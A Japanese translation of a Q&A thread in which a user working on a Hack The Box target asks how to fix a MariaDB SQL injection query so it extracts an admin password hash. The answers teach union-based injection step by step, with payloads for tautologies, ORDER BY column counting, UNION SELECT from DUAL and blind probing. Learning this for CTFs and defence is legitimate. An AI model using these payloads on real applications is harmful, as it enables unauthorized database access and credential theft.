web-dev-qa-db-ja.com

MariaDb SQLインジェクション

SQLiの脆弱性のあるMariaDbデータベースを(合法的に)利用しようとしています。

ここで脆弱性を特定しました...

_/?o=1&page=app_

_o=*_は脆弱であり、次のエラーを生成します...

_DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1_

私はBurp Suiteを使用しており、次の構文に到達しました。これは、マークに近いように見えますが、まだ構文エラーを生成しています。

エラーは「追加」フィールドではなく、私が導入したクエリを吐き出しているだけなので、マークに近いと思います:_'5' or dest like '1'') LIMIT 10'_。

_1_が含まれているため、それが元のクエリの一部であると想定しています。

私は、ページの手がかりから_uid 1_であることを知っている管理者パスワードハッシュの後にいます。

このクエリには何が欠けていますか?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

編集:これはハック・ザ・ボックスで行われているので、不快な違法行為は行われていません。

2
3therk1ll

編集:これはハック・ザ・ボックスで行われているので、不快な違法行為は行われていません。

では、少し楽しみましょう。

エラーメッセージを見ると

デバッグ情報:SQL構文にエラーがあります。 MariaDBサーバーのバージョンに対応するマニュアルで、1行目の「5」付近または'1'') LIMIT 10'などの正しい構文を使用するための正しい構文を確認してください

アプリケーションのクエリとコードが多かれ少なかれこの擬似賢明であると仮定すると、@oは実際にはMySQLユーザー変数です。

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

SQLフィドル space を使用して、SQLインジェクションテストをシミュレートし、他のテーブルへのアクセスを可能にします。

1' OR 1 = 1#または1' OR 1 = 1--を使用してインジェクションをテストできます。1を入力として使用すると、どちらも機能し、同じ結果が得られます。これは、MariaDB自動が他のデータベースの型をキャストしているためです。より厳密なバージョンを使用する必要がある場合があります1' OR '1' = '1#

どちらが生成するか

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

または

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

次に、アプリケーションにエラーが表示されるため、ORDER BY 1を使用して、選択されている列の数を確認し、エラーが発生するまで数を増やします。

エラー:ER_BAD_FIELD_ERROR:不明な列 '2'が 'order句'にあります

注入する

1' ORDER BY 1#または1' ORDER BY 1--

つまり、結果セットの最初の列で並べ替えます[〜#〜]ではありません[〜#〜]並べ替え1リテラル。

生成する

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

または

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

列がわかっている場合は、UNIONを使用して他のテーブルにアクセスできます。すべての列が必要ない場合は、NULLを使用します。

注入

1' UNION ALL SELECT NULL FROM DUAL#

DUALはMariaDB、MySQL、Oracleの「仮想」非存在テーブルであることに注意してください。この「テーブル」にクエリを実行できる場合、技術的に他のテーブルにもアクセスできることを意味します。

生成されたSQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

また、Webページが1つのレコードが常に表示される「詳細」ページとして設計されている場合は、インジェクションにLIMIT 1, 1を追加する必要があります。

Webアプリケーションにエラーが表示されない場合は、ブラインドSQLインジェクションを使用して盲目的にブルートフォースガウスを実行し、アプリケーションの動作を確認できます。
また、?o=0?o=NULLのようなもの、または最大INT値(Signed)?o=2147483647または(unsigned)?o=4294967295などの非常に高い数値を試してみてください。使用された列番号をブルートフォースすることで、見つからないレコードがアプリケーションでどのように処理されるかがわかります。 INTデータ型にid 0またはその高い数値がある可能性は非常に低いためです。これは、最後の数値が指定された場合、アプリケーションが動作を停止するためです。それでもこれらの高い数値のレコードを取得する場合は、代わりにBIGINTデータ型の最大値を使用してください。

列1の同じ結果ID o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

エラーが発生しますが、ほとんどの場合、エラーページまたはレコードが見つからなかったことを示すメッセージが表示される列2について。
または甘いHTTP 404(見つかりません)エラーステータス。
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

ORDER BYを使用せずにLIMITを使用する場合に発生する可能性がある1つの問題は、SQLテーブル/結果セットが順序なしであるとSQL標準で定義されているため、同じレコードを取得する可能性がありますORDER BYを使用しない

したがって、ブルートフォースでORDER BY 1を使い続けることが理想的です。

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

そして

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

ORDER BY 1のデータベースサポートは、MySQL、MariaDB、SQL Server(MSSQL)、PostgreSQLで動作するため、最初に考えていたよりも優れています。

また、ORDER BY 1は、SQL 99で削除されたSQL 92機能でした。
実際、SQLデータベースは、この点でSQL標準に従う場合、ORDER BY 1 annymoreを実行すべきではありません。

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC
7
Raymond Nijland

いくつかの観察:

mysql.userテーブルに列uidまたはdestが含まれていません

SQLインジェクションの脆弱性を悪用するには、動的に構築されるSQLステートメントのコンテキスト内で作業する必要があります。

アプリケーションSQLステートメントが次の形式の場合:

 SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1

xの値はSQLテキストに組み込まれています。有効なSQLステートメントを形成する「x」の値を指定することができます。しかし、私たちは前のステートメントから「抜け出す」ことはしません。

別のFROM句を含めて別のテーブルからデータをプルしようとしている場合は、次のようなステートメントを作成することを考えるかもしれません。

 SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0 
 UNION ALL 
 SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '

複数のステートメントを実行できるマルチステートメントの脆弱性があるかもしれません。

しかし、それを活用する方法を考え出すのに多くの時間を費やす必要はありません。時間と労力は、脆弱性を閉じるためにアプリケーションを修正することに費やしたほうがよいでしょう。

0
spencer7593